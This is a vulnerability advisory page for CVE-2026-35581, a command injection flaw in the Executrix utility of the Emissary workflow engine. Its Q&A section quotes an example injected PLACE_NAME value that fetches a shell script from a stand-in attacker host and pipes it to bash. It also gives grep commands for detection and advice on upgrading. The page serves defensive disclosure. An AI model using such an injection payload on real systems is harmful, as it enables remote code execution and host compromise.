CVE-2026-35581
Received Received - Intake
Command Injection in Emissary Executrix Utility via Unsanitized Parameters

Publication date: 2026-04-07

Last updated on: 2026-04-16

Assigner: GitHub, Inc.

Description
Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, the Executrix utility class constructed shell commands by concatenating configuration-derived values β€” including the PLACE_NAME parameter β€” with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution. This vulnerability is fixed in 8.39.0.
CVSS Scores
EPSS Scores
Probability:
Percentile:
Meta Information
Published
2026-04-07
Last Modified
2026-04-16
Generated
2026-05-07
AI Q&A
2026-04-07
EPSS Evaluated
2026-05-05
NVD
EUVD
Affected Vendors & Products
Showing 1 associated CPE
Vendor Product Version / Range
nsa emissary to 8.38.0 (inc)
Helpful Resources
Exploitability
CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-78 The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?

CVE-2026-35581 is a command injection vulnerability in the Executrix utility class of the Emissary project affecting versions up to 8.38.0. The vulnerability occurs because the PLACE_NAME configuration parameter is sanitized inadequately: only spaces are replaced with underscores, while dangerous shell metacharacters such as ;, |, $, `, (, ), and others remain intact.

This insufficient sanitization allows an attacker who can control the PLACE_NAME value to inject arbitrary shell commands into the shell command executed by /bin/sh -c. For example, a malicious PLACE_NAME like "test;curl attacker.com/shell.sh|bash;x" would still contain semicolons and pipes after sanitization, enabling execution of arbitrary commands on the host.

The vulnerability was fixed in version 8.39.0 by replacing the simplistic space-only replacement with a regex-based allowlist that replaces all characters not matching [a-zA-Z0-9_-] with underscores, preventing injection of shell metacharacters.


How can this vulnerability impact me? :

This vulnerability allows an attacker with the ability to control configuration values (such as administrative access or a compromised configuration source) to execute arbitrary shell commands on the Emissary host.

The impact is high severity, potentially leading to full compromise of the system, including unauthorized access, data manipulation, and disruption of services.


How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by inspecting the PLACE_NAME configuration parameter used by the Emissary Executrix utility class for the presence of shell metacharacters such as ;, |, $, `, (, ), and others that are not properly sanitized.

Administrators can check configuration files for PLACE_NAME values containing suspicious characters that could lead to command injection.

A practical detection approach is to search for PLACE_NAME entries with unsafe characters using commands like:

  • grep -E '[;|$`()]' /path/to/emissary/configuration/files
  • grep -r PLACE_NAME /path/to/emissary/configuration | grep -E '[;|$`()]'

Additionally, monitoring for unusual shell command executions or network connections initiated by the Emissary process may help detect exploitation attempts.


What immediate steps should I take to mitigate this vulnerability?

The primary mitigation is to upgrade Emissary to version 8.39.0 or later, where the vulnerability is fixed by proper sanitization of the PLACE_NAME parameter.

If upgrading is not immediately possible, administrators should ensure that all PLACE_NAME values in configuration files contain only alphanumeric characters, underscores, and hyphens, avoiding any shell metacharacters.

This can be enforced by manually reviewing and sanitizing configuration files or by implementing validation scripts to reject unsafe PLACE_NAME values.


How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The vulnerability allows high severity arbitrary command execution on the Emissary host, which can lead to unauthorized access, data manipulation, and potential data breaches.

Such security weaknesses can impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of sensitive data and secure system configurations to prevent unauthorized access and data compromise.

Specifically, the ability for an attacker with configuration control to execute arbitrary commands could lead to confidentiality, integrity, and availability violations, all of which are critical concerns under these regulations.


Ask Our AI Assistant
Need more information? Ask your question to get an AI reply (Powered by our expertise)
0/70
EPSS Chart